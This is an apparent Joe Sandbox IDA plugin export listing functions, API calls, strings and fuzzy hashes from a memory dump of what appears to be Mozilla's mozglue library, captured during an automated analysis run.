Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

ntdll.dll, xrefs: 6C6B7603
NtUnmapViewOfSection, xrefs: 6C6B7621

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C6A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A289A
free.MOZGLUE(?,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A2910
free.MOZGLUE(00000001,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A294E

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction ID: 9897f2b458e45feeacbcb1e058197503f2c5ef340fe41d67c23a8ddd3040f7f3
Opcode Fuzzy Hash: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction Fuzzy Hash: 3D41B4B1A402068FEB14CFAAD88476A73F5EF45708F140939D95BEB740E731E906CB99

Function 6C65CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C65D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C65D139

Strings

MOZ_CRASH(), xrefs: 6C65D187

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction ID: 3543fbe50f1b8389a23461486b7e12babdc2657575e16f4df976855d1fc8f750
Opcode Fuzzy Hash: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction Fuzzy Hash: 6441CC32B412164FDB548E7E8DD07AAB6B0EB49714F650239EA18E77C4D7A1A800CBDD

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C6BA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA87B

Part of subcall function 6C6BA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C6BA88F,00000000), ref: 6C6BA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C6BA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA90C
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA97E

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction ID: bb51f4b2f4feef7e7fc4b44630dd317ed3b6147944fb21cdc06fafba0641b0b7
Opcode Fuzzy Hash: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction Fuzzy Hash: 8E41D4B0E002089FDB00DFA4D885BDEB770FF09324F148629E826AB791D771E955CB99

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C65B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C65B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65B849

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction ID: 1d8c03aa0fa54bb534cc8f5faaa3361884c14b92f2223d894aefeb06f6f26286
Opcode Fuzzy Hash: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction Fuzzy Hash: BD212CB4E002099FDF04DFA9C8859FEBBB4EF89314F148129ED06A7341E731A954CBA5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C6B586C
CloseHandle.KERNEL32 ref: 6C6B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6B58C9
free.MOZGLUE(00000000), ref: 6C6B58D3

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction ID: 8a0083879518c1b11755c31113286ebade07498b1b68bf36c83afe0e639a6c88
Opcode Fuzzy Hash: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
